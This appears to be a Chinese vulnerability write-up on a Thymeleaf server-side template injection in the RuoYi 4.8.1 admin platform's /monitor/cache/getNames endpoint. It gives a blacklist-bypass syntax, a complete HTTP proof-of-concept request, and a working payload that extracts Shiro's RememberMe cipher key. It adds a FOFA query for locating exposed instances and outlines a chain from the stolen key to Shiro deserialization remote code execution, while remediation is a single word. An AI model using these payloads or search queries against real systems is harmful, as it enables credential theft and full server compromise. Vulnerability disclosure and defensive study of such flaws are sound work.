[TOC]

漏洞描述

若依(RuoYi)是一套基于Spring Boot + Shiro + Thymeleaf的快速开发平台,广泛应用于企业后台管理系统。在最新版本4.8.1中,存在一个严重的 Thymeleaf模板注入(SSTI)漏洞

该漏洞位于 CacheController.java 控制器的 /monitor/cache/getNames 接口, fragment 参数未对用户输入进行充分过滤。尽管新版增加了黑名单机制拦截危险操作,但攻击者可通过特定格式 __|$${...}|__::.x 绕过限制,实现任意代码执行。

通过此SSTI漏洞,攻击者可获取Shiro框架的RememberMe加密密钥,进而利用Shiro反序列化漏洞实现远程代码执行(RCE),完全控制受影响服务器。

漏洞原因及利用原理

根本原因:未受控的 fragment 参数直接传入模板解析器

这是漏洞的入口点。在 CacheControllergetNames 方法中,存在如下关键代码:

1
2
3
4
5
@GetMapping("/getNames")
public String getNames(@RequestParam String fragment, ModelMap mmap) {
// ... 其他业务逻辑 ...
return prefix + "/cache/" + fragment;
}

或者更直接的版本,可能调用了类似于 return fragment; 的表达式视图解析。

关键问题

  • 攻击者完全可控的 fragment 参数,被直接拼接到视图路径(return 语句)中,或直接作为视图名称返回。
  • 在Spring MVC配置中,如果视图解析器配置为 ThymeleafViewResolver,并且当返回的字符串不包含显式的重定向或转发前缀(如 redirect:forward:)时,Spring会将其视为一个Thymeleaf模板文件名去解析。
  • 但这里的 fragment 参数并不是一个合法的模板文件路径,而是一段Thymeleaf表达式

poc各部分的含义和作用

__| ... |__ - Thymeleaf预处理表达式

  • 这是Thymeleaf的预处理表达式语法
  • __| 表示开始一个预处理表达式块
  • |__ 表示结束预处理表达式块
  • 在预处理表达式中,多个表达式可以用 | 分隔

$${...} - Thymeleaf表达式

  • $${...} 在Thymeleaf中是变量表达式
  • 在预处理上下文中,$${expression} 会被求值
  • 注意:这里使用了两个$符号,这是绕过黑名单的关键!

::.x - 片段选择器

  • :: 是Thymeleaf的片段选择器语法
  • .x 表示选择名为x的片段(实际不存在,但格式需要)

绕过技巧

  1. 双重$符号绕过$${ 而不是 ${
    • 黑名单可能只检查 ${,而忽略了 $${
    • 但在Thymeleaf中,$${expression}${expression} 在功能上通常是等效的
  2. 预处理表达式语法__|...|__
    • 黑名单可能没有检查这种复杂的预处理表达式语法
    • Thymeleaf在处理时会先解析预处理表达式
  3. URL编码进一步混淆
    攻击者发送的实际请求可能经过URL编码

漏洞检测POC

1
2
3
4
5
6
7
8
9
10
POST /monitor/cache/getNames HTTP/1.1
Host: xxx
Cookie: JSESSIONID=928b655c-941d-4b73-a770-773291704eda
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 55

fragment=__|$${#response.getWriter().print(123)}|__::.x

image-20251211120243215

获取Shiro框架的RememberMe加密密钥

1
fragment=__|$${#response.getWriter().print(@securityManager.getClass().forName('java.util.Base64').getMethod('getEncoder').invoke(null).encodeToString(@securityManager.rememberMeManager.cipherKey))}|__::.x

image-20251211120320596

fofa语法

1
((icon_hash="706913071" || icon_hash="-1231872293"))

漏洞利用链分析

攻击流程:

  1. 发现SSTI漏洞 :通过 fragment 参数注入Thymeleaf表达式

  2. 绕过黑名单 :使用 __|$${...}|__::.x 格式绕过关键字过滤

  3. 获取Shiro密钥 :利用SSTI读取 securityManager.rememberMeManager.cipherKey

  4. Shiro反序列化 :使用获取的密钥构造RememberMe Cookie

  5. 实现RCE :通过Shiro反序列化链执行任意命令

漏洞修复建议

立即升级